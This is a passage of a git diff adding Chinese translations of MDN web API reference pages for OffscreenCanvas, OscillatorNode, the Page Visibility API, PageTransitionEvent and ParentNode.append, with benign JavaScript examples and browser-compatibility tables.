 异步显示OffscreenCanvas生成的帧

+ +

另一种使用 OffscreenCanvas API的方式, 是在一个{{HTMLElement("canvas")}}元素上调用{{domxref("HTMLCanvasElement.transferControlToOffscreen", "transferControlToOffscreen()")}}, 也可以在worker或主线程,上调用,这将从主线程的{{domxref("HTMLCanvasElement")}}对象返回一个OffscreenCanvas对象。调用{{domxref("OffscreenCanvas.getContext", "getContext()")}} 会从这个OffscreenCanvas获取一个RenderingContext

+ +

main.js (主线程代码):

+ +
var htmlCanvas = document.getElementById("canvas");
+var offscreen = htmlCanvas.transferControlToOffscreen();
+
+var worker = new Worker("offscreencanvas.js");
+worker.postMessage({canvas: offscreen}, [offscreen]);
+
+ +

offscreencanvas.js (web work代码):

+ +
onmessage = function(evt) {
+  var canvas = evt.data.canvas.
+  var gl = canvas.getContext("webgl");
+
+  // ... some drawing using the gl context ...
+
+  // Push frames back to the original HTMLCanvasElement
+  gl.commit();
+};
+
+ +

也可以在 worker 中使用 requestAnimationFrame

+ +
onmessage = function(evt) {
+  const canvas = evt.data.canvas;
+  const gl = canvas.getContext("webgl");
+
+  function render(time) {
+    // ... some drawing using the gl context ...
+    requestAnimationFrame(render);
+  }
+  requestAnimationFrame(render);
+};
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', "scripting.html#the-offscreencanvas-interface", "OffscreenCanvas")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.OffscreenCanvas")}}

+
+ +

另请参见

+ + + +
+ +
+
+
+
+ +
+ +
+
+ +
+
+
diff --git a/files/zh-cn/web/api/offscreencanvas/offscreencanvas/index.html b/files/zh-cn/web/api/offscreencanvas/offscreencanvas/index.html new file mode 100644 index 0000000000..a66335bf08 --- /dev/null +++ b/files/zh-cn/web/api/offscreencanvas/offscreencanvas/index.html @@ -0,0 +1,64 @@ +--- +title: OffscreenCanvas() +slug: Web/API/OffscreenCanvas/OffscreenCanvas +translation_of: Web/API/OffscreenCanvas/OffscreenCanvas +--- +
{{APIRef("Canvas API")}} {{SeeCompatTable}}
+ +

OffscreenCanvas()构造函数,返回一个新的OffscreenCanvas对象

+ +

语法

+ +
new OffscreenCanvas(width, height);
+
+ +

参数

+ +
+
width
+
离屏canvas 的高度
+
height
+
离屏canvas 的宽度
+
+ +
+
+ +

示例

+ +

创建一个离屏Canvas并且初始一个 WebGL 上下文:

+ +
var offscreen = new OffscreenCanvas(256, 256);
+var gl = offscreen.getContext("webgl");
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#dom-offscreencanvas", "OffscreenCanvas()")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.OffscreenCanvas.OffscreenCanvas")}}

+
+ +

查看更多

+ + diff --git a/files/zh-cn/web/api/offscreencanvas/transfertoimagebitmap/index.html b/files/zh-cn/web/api/offscreencanvas/transfertoimagebitmap/index.html new file mode 100644 index 0000000000..47a1c39ff5 --- /dev/null +++ b/files/zh-cn/web/api/offscreencanvas/transfertoimagebitmap/index.html @@ -0,0 +1,56 @@ +--- +title: OffscreenCanvas.transferToImageBitmap() +slug: Web/API/OffscreenCanvas/transferToImageBitmap +translation_of: Web/API/OffscreenCanvas/transferToImageBitmap +--- +
{{APIRef("Canvas API")}} {{SeeCompatTable}}
+ +

OffscreenCanvas.transferToImageBitmap() 方法使用offscreenCanvas最近渲染得到的图片创建一个{{domxref("ImageBitmap")}} 对象.

+ +

语法

+ +
ImageBitmap OffscreenCanvas.transferToImageBitmap()
+ +

返回值

+ +

一个{{domxref("ImageBitmap")}}对象.

+ +

例子

+ +
var offscreen = new OffscreenCanvas(256, 256);
+var gl = offscreen.getContext("webgl");
+
+//一些绘制要使用gl前后文
+
+offscreen.transferToImageBitmap();
+// ImageBitmap { width: 256, height: 256 }
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#dom-offscreencanvas-transfertoimagebitmap", "OffscreenCanvas.transferToImageBitmap()")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容

+ + + +

{{Compat("api.OffscreenCanvas.transferToImageBitmap")}}

+ +

浏览相关

+ + diff --git a/files/zh-cn/web/api/oscillatornode/detune/index.html b/files/zh-cn/web/api/oscillatornode/detune/index.html new file mode 100644 index 0000000000..436ea0a26d --- /dev/null +++ b/files/zh-cn/web/api/oscillatornode/detune/index.html @@ -0,0 +1,120 @@ +--- +title: OscillatorNode.detune +slug: Web/API/OscillatorNode/detune +translation_of: Web/API/OscillatorNode/detune +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("OscillatorNode") }} 的 detune 属性的接口是 a-rate {{domxref("AudioParam")}} ,代表振荡频率的失谐量(cents)。

+
+ +

语法

+ +
var oscillator = audioCtx.createOscillator();
+oscillator.detune.value = 100; // value in cents
+ +
+

Note: 虽然返回的 AudioParam 是只读的,但是它表示的值不是。

+
+ +

 值

+ +

一个 a-rate {{domxref("AudioParam")}} 的值

+ +

示例

+ +

下面的例子使用 {{ domxref("AudioContext") }} 创建了一个 oscillator node。 这是已经在运行的例子,查看 Violent Theremin demo (see app.js 是相关源码)。

+ +
// create web audio api context
+var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+
+// create Oscillator node
+var oscillator = audioCtx.createOscillator();
+
+oscillator.type = 'square';
+oscillator.frequency.value = 440; // value in hertz
+oscillator.detune.value = 100; // value in cents
+oscillator.start();
+ +

说明

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-OscillatorNode-detune', 'detune')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support14 {{property_prefix("webkit")}}{{CompatVersionUnknown}}23{{CompatNo}}15 {{property_prefix("webkit")}}
+ 22 (unprefixed)
6 {{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeEdgeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}28 {{property_prefix("webkit")}}{{CompatVersionUnknown}}251.2{{CompatNo}}{{CompatNo}}6 {{property_prefix("webkit")}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/oscillatornode/frequency/index.html b/files/zh-cn/web/api/oscillatornode/frequency/index.html new file mode 100644 index 0000000000..156531a8e6 --- /dev/null +++ b/files/zh-cn/web/api/oscillatornode/frequency/index.html @@ -0,0 +1,119 @@ +--- +title: OscillatorNode.frequency +slug: Web/API/OscillatorNode/frequency +translation_of: Web/API/OscillatorNode/frequency +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("OscillatorNode") }} 的 frequency 属性的接口a-rate {{domxref("AudioParam")}},表示振荡的频率,单位HZ(hertz)

+
+ +

语法

+ +
var oscillator = audioCtx.createOscillator();
+oscillator.frequency.value = 440; // value in hertz
+ +
+

Note: 虽然返回的 AudioParam 是只读的,但是它表示的值不是。

+
+ +

+ +

一个 a-rate {{domxref("AudioParam")}} 的值

+ +

示例

+ +

下列示例使用 {{ domxref("AudioContext") }} 创建了一个 oscillator node. 这是一个用于展示的示例,查看 Violent Theremin demo (see app.js 是相关代码).

+ +
// create web audio api context
+var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+
+// create Oscillator node
+var oscillator = audioCtx.createOscillator();
+
+oscillator.type = 'square';
+oscillator.frequency.value = 440; // value in hertz
+oscillator.start();
+ +

说明

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-OscillatorNode-frequency', 'frequency')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support14 {{property_prefix("webkit")}}{{CompatVersionUnknown}}23{{CompatNo}}15 {{property_prefix("webkit")}}
+ 22 (unprefixed)
6 {{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeEdgeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}28 {{property_prefix("webkit")}}{{CompatVersionUnknown}}251.2{{CompatNo}}{{CompatNo}}6 {{property_prefix("webkit")}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/oscillatornode/index.html b/files/zh-cn/web/api/oscillatornode/index.html new file mode 100644 index 0000000000..7b1bf096bc --- /dev/null +++ b/files/zh-cn/web/api/oscillatornode/index.html @@ -0,0 +1,190 @@ +--- +title: OscillatorNode +slug: Web/API/OscillatorNode +translation_of: Web/API/OscillatorNode +--- +

{{APIRef("Web Audio API")}}

+ +

OscillatorNode 接口表示一个振荡器,它产生一个周期的波形信号(如正弦波)。它是一个 {{domxref("AudioScheduledSourceNode")}} 音频处理模块, 这个模块会生成一个指定频率的波形信号(即一个固定的音调)

+ +

一个 OscillatorNode 对象是通过 {{domxref("AudioContext.createOscillator()")}} 方法创建的。它总是有一个输出,但没有输入。它的基础属性(定义见 {{domxref("AudioNode")}} )默认如下:

+ + + + + + + + + + + + + + + + + + + + + + + + +
Number of inputs0
Number of outputs1
Channel count modemax
Channel count2 (not used in the default count mode)
Channel interpretationspeakers
+ +

构造函数

+ +
+
{{domxref("OscillatorNode.OscillatorNode", "OscillatorNode()")}}
+
创建一个OscillatorNode对象的示例, 为node{{anch("properties")}}提供可选的一个定义默认值的对象.  如果默认值可接受,你可以简单地调用{{domxref("AudioContext.createOscillator()")}}工厂方法.
+
+ +

属性

+ +

继承自父类 {{domxref("AudioScheduledSourceNode")}},并添加下列属性:

+ +
+
{{domxref("OscillatorNode.frequency")}}
+
一个 a-rate {{domxref("AudioParam")}} 对象的属性代表了振动的频率(单位为赫兹hertz) (虽然返回的AudioParam 是只读的,但是它所表示的值是可以修改的)。 默认值是 440 Hz (基本的中A音高).
+
+ +
+
{{domxref("OscillatorNode.detune")}}
+
一个 a-rate {{domxref("AudioParam")}} 对象的属性代表振动的音高微调(单位是cent音分)  (虽然返回的AudioParam 是只读的,但是它所表示的值是可以修改的).。默认值是0。
+
+ +
+
{{domxref("OscillatorNode.type")}}
+
一个字符串,决定 OscillatorNode 播放的声音的周期波形; 它的值可以是基础值中的一个或者用户使用 {{domxref("PeriodicWave")}}。不同的波形可以产生不同的声调。 基础值有 "sine", "square", "sawtooth", "triangle" and "custom". 默认值是"sine"。
+
+ +

方法

+ +

继承自父级, {{domxref("AudioScheduledSourceNode")}}, 自有方法如下:

+ +
+
{{domxref("OscillatorNode.setPeriodicWave()")}}
+
设置一个 {{domxref("PeriodicWave")}} ,它描述了一个周期的波形常常替代标准波形之一; 调用这个方法来设置用户自定义的波形。它取代了已经废弃了的 {{domxref("OscillatorNode.setWaveTable()")}} 方法。
+
+ +

示例

+ +

下面示例展示了 {{ domxref("AudioContext") }} 的基本使用 来创建一个 oscillator 节点 并使用它来播放音乐。这是已经在运行的例子,可以看这里 Violent Theremin demo (see app.js 是相关代码).

+ +
// create web audio api context
+var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+
+// create Oscillator node
+var oscillator = audioCtx.createOscillator();
+
+oscillator.type = 'square';
+oscillator.frequency.value = 440; // value in hertz
+oscillator.connect(audioCtx.destination);
+oscillator.start();
+ +

说明

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#the-oscillatornode-interface', 'OscillatorNode')}}{{Spec2('Web Audio API')}}
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support14 {{property_prefix("webkit")}}{{CompatVersionUnknown}}25{{CompatNo}}15 {{property_prefix("webkit")}}
+ 22 (unprefixed)
6 {{property_prefix("webkit")}}
constructor{{CompatChrome(55.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOpera(42)}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}251.2{{CompatNo}}{{CompatNo}}6 {{property_prefix("webkit")}}28 {{property_prefix("webkit")}}
constructor{{CompatNo}}{{CompatChrome(55.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOpera(42)}}{{CompatUnknown}}{{CompatChrome(55.0)}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/oscillatornode/oscillatornode/index.html b/files/zh-cn/web/api/oscillatornode/oscillatornode/index.html new file mode 100644 index 0000000000..cea622d021 --- /dev/null +++ b/files/zh-cn/web/api/oscillatornode/oscillatornode/index.html @@ -0,0 +1,107 @@ +--- +title: OscillatorNode() +slug: Web/API/OscillatorNode/OscillatorNode +translation_of: Web/API/OscillatorNode/OscillatorNode +--- +

{{APIRef("Web Audio API")}}{{SeeCompatTable}}

+ +

OscillatorNode() 构造器创建了一个新的 {{domxref("OscillatorNode")}} 对象,也是 {{domxref("AudioNode")}} 类型,表示一个周期的波形,例如正弦波,用来在不同的对象中定义其可选属性的值

+ +

如果属性的默认值可接受,也可以选择使用 {{domxref("AudioContext.createOscillator()")}} 工厂方法构造 {{domxref("OscillatorNode")}} 对象。

+ +

语法

+ +
var oscillatorNode = new OscillatorNode(context, options)
+ +

参数

+ +
+
context
+
指向 {{domxref("AudioContext")}} 的引用。
+
options {{optional_inline}}
+
一个用来给 oscillator node 的属性指定值得对象,该对象中省略的属性都将采用默认值 +
+
type
+
oscillator node 产生的波形的形状。可用的值有 'sine', 'square', 'sawtooth', 'triangle' 和 'custom',默认值是'sine'。
+
detune
+
音高微调值(cents)可以对给定的频率值进行偏移。 默认值是0.
+
frequency
+
周期性波形的频率 (in {{interwiki("wikipedia", "hertz")}})。 默认值是440.
+
periodicWave
+
任意的周期性波形,通过一个 {{domxref("PeriodicWave")}} 对象描述。
+
+
+
+ +

说明

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API','#the-oscillatornode-interface','OscillatorNode()')}}{{Spec2('Web Audio API')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(55)}}[1]{{CompatGeckoDesktop(25)}}{{CompatUnknown}}{{CompatOpera(42)}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatChrome(55)}}[1]{{CompatChrome(55)}}[1]{{CompatGeckoMobile(25)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOperaMobile(42)}}{{CompatUnknown}}
+
+ +

[1] Chrome 59 之前,不支持默认属性。 

diff --git a/files/zh-cn/web/api/oscillatornode/setperiodicwave/index.html b/files/zh-cn/web/api/oscillatornode/setperiodicwave/index.html new file mode 100644 index 0000000000..43f27ec698 --- /dev/null +++ b/files/zh-cn/web/api/oscillatornode/setperiodicwave/index.html @@ -0,0 +1,140 @@ +--- +title: OscillatorNode.setPeriodicWave() +slug: Web/API/OscillatorNode/setPeriodicWave +translation_of: Web/API/OscillatorNode/setPeriodicWave +--- +

{{ APIRef("Web Audio API") }}

+ +

 {{ domxref("OscillatorNode") }} 接口的 setPeriodicWave() 方法用来指向 {{domxref("PeriodicWave")}},PeriodicWave 定义了一个周期性波形能够形成oscillator的输出, 当{{domxref("OscillatorNode.type", "type")}} 是 custom 的时候.

+ +
+

该方法取代了废弃的 {{ domxref("OscillatorNode.setWaveTable()")}}.

+
+ +

语法

+ +
OscillatorNode.setPeriodicWave(wave);
+ +

参数

+ +
+
wave
+
一个 {{domxref("PeriodicWave")}} 对象, 表示特定的波形用来形成oscillator的输出。
+
+ +

返回值

+ +

{{jsxref("undefined")}}

+ +

示例

+ +

下面示例说明了 createPeriodicWave() 方法的简单使用, 从一个周期波形中重新生成了一个正弦波形。

+ +
var real = new Float32Array(2);
+var imag = new Float32Array(2);
+var ac = new AudioContext();
+var osc = ac.createOscillator();
+
+real[0] = 0;
+imag[0] = 0;
+real[1] = 1;
+imag[1] = 0;
+
+var wave = ac.createPeriodicWave(real, imag);
+
+osc.setPeriodicWave(wave);
+
+osc.connect(ac.destination);
+
+osc.start();
+osc.stop(2);
+ +

这段代码可以运行因为通过定义一个正弦波形使得声音包含了基础的音调。
+  

+ +

这里,我们用两个值创建一个{{domxref("PeriodicWave")}}。第一个值是直流偏移,是oscillator开始的时候的值。这里 0 很合适,因为我们想要在 [-1.0; 1.0] 这个范围的中间值开始。

+ +

第二个和后面的值是正弦和余弦内容。可以把它看做傅里叶变换的结果,使得可以从时间阈值得到频率阈值。这里通过 createPeriodicWave() 方法,可以指定频率,并且浏览器执行逆傅里叶变换来得到一个时间阈值缓冲。Here, we only set one component at full volume (1.0) on the fundamental tone, so we get a sine wave.

+ +

说明

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-OscillatorNode-setPeriodicWave-void-PeriodicWave-periodicWave', 'setPeriodicWave')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support14 {{property_prefix("webkit")}}{{CompatVersionUnknown}}23{{CompatNo}}15 {{property_prefix("webkit")}}
+ 22 (unprefixed)
6 {{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeEdgeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}28 {{property_prefix("webkit")}}{{CompatVersionUnknown}}251.2{{CompatNo}}{{CompatNo}}6 {{property_prefix("webkit")}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/oscillatornode/stop/index.html b/files/zh-cn/web/api/oscillatornode/stop/index.html new file mode 100644 index 0000000000..3b776727b6 --- /dev/null +++ b/files/zh-cn/web/api/oscillatornode/stop/index.html @@ -0,0 +1,121 @@ +--- +title: OscillatorNode.stop() +slug: Web/API/OscillatorNode/stop +translation_of: Web/API/OscillatorNode/stop +--- +

{{ APIRef("Web Audio API") }}

+ +
+

这个 stop方法 {{ domxref("OscillatorNode") }} 接口在指定时间内停止播放,它的参数是可选的,默认情况下是0.

+
+ +

语法

+ +
oscillator.stop(when); // stop playing oscillator at when
+ +

参数

+ +
+
when
+
An optional double representing the audio context time when the oscillator should stop. If a value is not included, it defaults to 0. If the time is equal to or before the current audio context time, the oscillator will stop playing immediately.
+
+ +

例如

+ +

下面的示例显示一个基本用法{{ domxref("AudioContext") }}创建子节点。一个应用的例子,看看我们的演示( Violent Theremin demo (see app.js for relevant code).

+ +
// create web audio api context
+var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+
+// create Oscillator node
+var oscillator = audioCtx.createOscillator();
+oscillator.connect(audioCtx.destination);
+
+oscillator.start();
+
+oscillator.stop(audioCtx.currentTime + 2); // stop 2 seconds after the current time
+
+ +

规定

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-OscillatorNode-stop-void-double-when', 'stop')}}{{Spec2('Web Audio API')}} 
+ +

浏览器的兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support14 {{property_prefix("webkit")}}{{CompatVersionUnknown}}23 [1]{{CompatNo}}15 {{property_prefix("webkit")}}
+ 22 (unprefixed)
6 {{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeEdgeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatVersionUnknown}}28 {{property_prefix("webkit")}}25 [1]1.2{{CompatNo}}{{CompatNo}}6 {{property_prefix("webkit")}}
+
+ +

[1] The parameter wasn't optional until Firefox 30.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/page_visibility_api/index.html b/files/zh-cn/web/api/page_visibility_api/index.html new file mode 100644 index 0000000000..383b0304bd --- /dev/null +++ b/files/zh-cn/web/api/page_visibility_api/index.html @@ -0,0 +1,184 @@ +--- +title: 页面可见性 API +slug: Web/API/Page_Visibility_API +tags: + - DOM + - Intermediate + - PageVisiblity +translation_of: Web/API/Page_Visibility_API +--- +

{{DefaultAPISidebar("Page Visibility API")}}

+ +

使用选项卡式浏览,任何给定网页都有可能在后台,因此对用户不可见。页面可见性 API提供了您可以观察的事件,以便了解文档何时可见或隐藏,以及查看页面当前可见性状态的功能。

+ +
+

注意:页面可见性 API对于节省资源和提高性能特别有用,它使页面在文档不可见时避免执行不必要的任务。

+
+ +

当用户最小化窗口或切换到另一个选项卡时,API会发送{{event("visibilitychange")}}事件,让监听者知道页面状态已更改。你可以检测事件并执行某些操作或行为不同。例如,如果您的网络应用正在播放视频,则可以在用户将标签放入背景时暂停视频,并在用户返回标签时恢复播放。 用户不会在视频中丢失位置,视频的音轨不会干扰新前景选项卡中的音频,并且用户在此期间不会错过任何视频。

+ +

{{HTMLElement("iframe")}}的可见性状态与父文档相同。使用CSS属性(例如{{cssxref("display", "display: none;")}})隐藏<iframe>不会触发可见性事件或更改框架中包含的文档的状态。

+ +

使用情景

+ +

一些例子:

+ + + +

开发者在过去使用不完善的代理来检测页面的可见性。比如,通过监听 {{event("blur")}} 和 {{event("focus")}} 事件来了解页面是否处于活动状态,但是它并没有告诉你页面是对用户隐藏的。页面可见性 API 解决了这个问题。

+ +
+

注意:虽然{{domxref("GlobalEventHandlers.onblur", "onblur")}}和{{domxref("GlobalEventHandlers.onfocus", "onfocus")}}会告诉你用户是否切换窗口,但不一定意味着它是隐藏的。当用户切换选项卡或最小化包含选项卡的浏览器窗口时,页面才会隐藏。

+
+ +

制定有助于后台页面性能的策略

+ +

在页面可见性API之外,用户代理会采取许多策略来减轻背景或隐藏选项卡对性能的影响。这些可能包括:

+ + + +

Some processes are exempt from this throttling behavior. In these cases, you can use the Page Visibility API to reduce the tabs' performance impact while they're hidden.

+ + + +

示例

+ +

看一个 在线的例子 (带声音的视频)

+ +

在此例中,当你切换到另一个标签时视频会暂停,当你返回到当前标签时视频会再次播放,代码如下:

+ +
// 设置隐藏属性和改变可见属性的事件的名称
+var hidden, visibilityChange;
+if (typeof document.hidden !== "undefined") { // Opera 12.10 and Firefox 18 and later support
+  hidden = "hidden";
+  visibilityChange = "visibilitychange";
+} else if (typeof document.msHidden !== "undefined") {
+  hidden = "msHidden";
+  visibilityChange = "msvisibilitychange";
+} else if (typeof document.webkitHidden !== "undefined") {
+  hidden = "webkitHidden";
+  visibilityChange = "webkitvisibilitychange";
+}
+
+var videoElement = document.getElementById("videoElement");
+
+// 如果页面是隐藏状态,则暂停视频
+// 如果页面是展示状态,则播放视频
+function handleVisibilityChange() {
+  if (document[hidden]) {
+    videoElement.pause();
+  } else {
+    videoElement.play();
+  }
+}
+
+// 如果浏览器不支持addEventListener 或 Page Visibility API 给出警告
+if (typeof document.addEventListener === "undefined" || typeof document[hidden] === "undefined") {
+  console.log("This demo requires a browser, such as Google Chrome or Firefox, that supports the Page Visibility API.");
+} else {
+  // 处理页面可见属性的改变
+  document.addEventListener(visibilityChange, handleVisibilityChange, false);
+
+  // 当视频暂停,设置title
+  // This shows the paused
+  videoElement.addEventListener("pause", function(){
+    document.title = 'Paused';
+  }, false);
+
+  // 当视频播放,设置title
+  videoElement.addEventListener("play", function(){
+    document.title = 'Playing';
+  }, false);
+
+}
+
+ +

属性

+ +
+
{{domxref("Document.hidden")}} {{ReadOnlyInline}}
+
如果页面处于被认为是对用户隐藏状态时返回true,否则返回false。
+
{{domxref("Document.visibilityState")}} {{ReadOnlyInline}}
+
是一个用来展示文档当前的可见性的{{domxref("DOMString")}} 。该属性的值为以下值之一: +
    +
  • visible : 页面内容至少是部分可见。 在实际中,这意味着页面是非最小化窗口的前景选项卡。
  • +
  • hidden : 页面内容对用户不可见。 在实际中,这意味着文档可以是一个后台标签,或是最小化窗口的一部分,或是在操作系统锁屏激活的状态下。
  • +
  • prerender : 页面内容正在被预渲染且对用户是不可见的(被document.hidden当做隐藏). 文档可能初始状态为prerender,但绝不会从其它值转为该值。>
  • +
  • 注释:有的浏览器不支持此功能unloaded : 页面正在从内存中卸载。
  • +
  • 注释:有的浏览器不支持此功能
  • +
+
+
{{domxref("Document.onvisibilitychange")}}
+
{{domxref("EventListener")}} 提供在{{event("visibilitychange")}} 事件被触发时要调用的代码。
+
+ +
//startSimulation 和 pauseSimulation 在其他地方定义
+function handleVisibilityChange() {
+  if (document.hidden) {
+    pauseSimulation();
+  } else  {
+    startSimulation();
+  }
+}
+
+document.addEventListener("visibilitychange", handleVisibilityChange, false);
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Page Visibility API')}}{{Spec2('Page Visibility API')}}Initial definition.
+ +

浏览器兼容性

+ +
+

Document.visibilityState

+ +
+ + +

{{Compat("api.Document.visibilityState")}}

+
+
+ +

参考

+ + diff --git a/files/zh-cn/web/api/pagetransitionevent/index.html b/files/zh-cn/web/api/pagetransitionevent/index.html new file mode 100644 index 0000000000..756e0c81d0 --- /dev/null +++ b/files/zh-cn/web/api/pagetransitionevent/index.html @@ -0,0 +1,73 @@ +--- +title: PageTransitionEvent +slug: Web/API/PageTransitionEvent +translation_of: Web/API/PageTransitionEvent +--- +

{{APIRef("HTML DOM")}}

+ +

Page transition events fire when a webpage is being loaded or unloaded.

+ +

当网页在加载完成或卸载后会触发页面传输事件(Page transition events)。

+ +

DOM Information

+ +

 

+ +

Inheritance Hierarchy

+ +
 Event +
   PageTransitionEvent
+
+ +

Example

+ +

HTML

+ +
<!DOCTYPE html>
+<html>
+<body onpageshow="myFunction(event)">
+</body>
+</html>
+ +

JavaScript

+ +
function myFunction(event) {
+    if (event.persisted) {
+        alert("The page was cached by the browser");
+    } else {
+        alert("The page was NOT cached by the browser");
+    }
+}
+ +

Members

+ +

The PageTransitionEvent object has these types of members:

+ + + +

Properties

+ +

The PageTransitionEvent object has these properties.

+ + + + + + + + + + + + + + +
PropertyAccess typeDescription
+

persisted

+
只读 +

标记页面是否从缓存(Backforward Cache)中加载

+
+ +

 

diff --git a/files/zh-cn/web/api/pagetransitionevent/persisted/index.html b/files/zh-cn/web/api/pagetransitionevent/persisted/index.html new file mode 100644 index 0000000000..831eb7bbf7 --- /dev/null +++ b/files/zh-cn/web/api/pagetransitionevent/persisted/index.html @@ -0,0 +1,45 @@ +--- +title: PageTransitionEvent.persisted +slug: Web/API/PageTransitionEvent/persisted +translation_of: Web/API/PageTransitionEvent/persisted +--- +
{{APIRef("HTML DOM")}}
+ +

只读属性persisted代表一个页面是否从缓存中加载的

+ +

Syntax

+ +
window.addEventListener('pageshow', function(event) {
+  if (event.persisted) {
+    console.log('Page was loaded from cache.');
+  }
+});
+ +

Value

+ +

A {{jsxref("Boolean")}}.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-pagetransitionevent-persisted', 'PageTransitionEvent: persisted')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.PageTransitionEvent.persisted")}}

diff --git a/files/zh-cn/web/api/parentnode/append/index.html b/files/zh-cn/web/api/parentnode/append/index.html new file mode 100644 index 0000000000..247291f59e --- /dev/null +++ b/files/zh-cn/web/api/parentnode/append/index.html @@ -0,0 +1,146 @@ +--- +title: ParentNode.append() +slug: Web/API/ParentNode/append +tags: + - API + - DOM + - Node + - ParentNode + - Reference +translation_of: Web/API/ParentNode/append +--- +
{{APIRef("DOM")}}
+ +
 ParentNode.append 方法在 ParentNode的最后一个子节点之后插入一组 {{domxref("Node")}} 对象或 {{domxref("DOMString")}} 对象。
+ +
被插入的 {{domxref("DOMString")}} 对象等价为 {{domxref("Text")}} 节点。
+ +
+ +
与 {{domxref("Node.appendChild()")}} 的差异:
+ +
+ + + +

语法

+ +
[Throws, Unscopable]
+void ParentNode.append((Node or DOMString)... nodes);
+
+ +

参数

+ +
+
nodes
+
一组要插入的 {{domxref("Node")}} 或 {{domxref("DOMString")}} 对象。
+
+ +

异常

+ + + +

示例

+ +

插入一个元素节点

+ +
var parent = document.createElement("div");
+var p = document.createElement("p");
+parent.append(p);
+
+console.log(parent.childNodes); // NodeList [ <p> ]
+
+ +

插入文本

+ +
var parent = document.createElement("div");
+parent.append("Some text");
+
+console.log(parent.textContent); // "Some text"
+ +

插入一个节点,同时插入一些文本

+ +
var parent = document.createElement("div");
+var p = document.createElement("p");
+parent.append("Some text", p);
+
+console.log(parent.childNodes); // NodeList [ #text "Some text", <p> ]
+ +

ParentNode.append() 方法在 with 语句中不生效

+ +

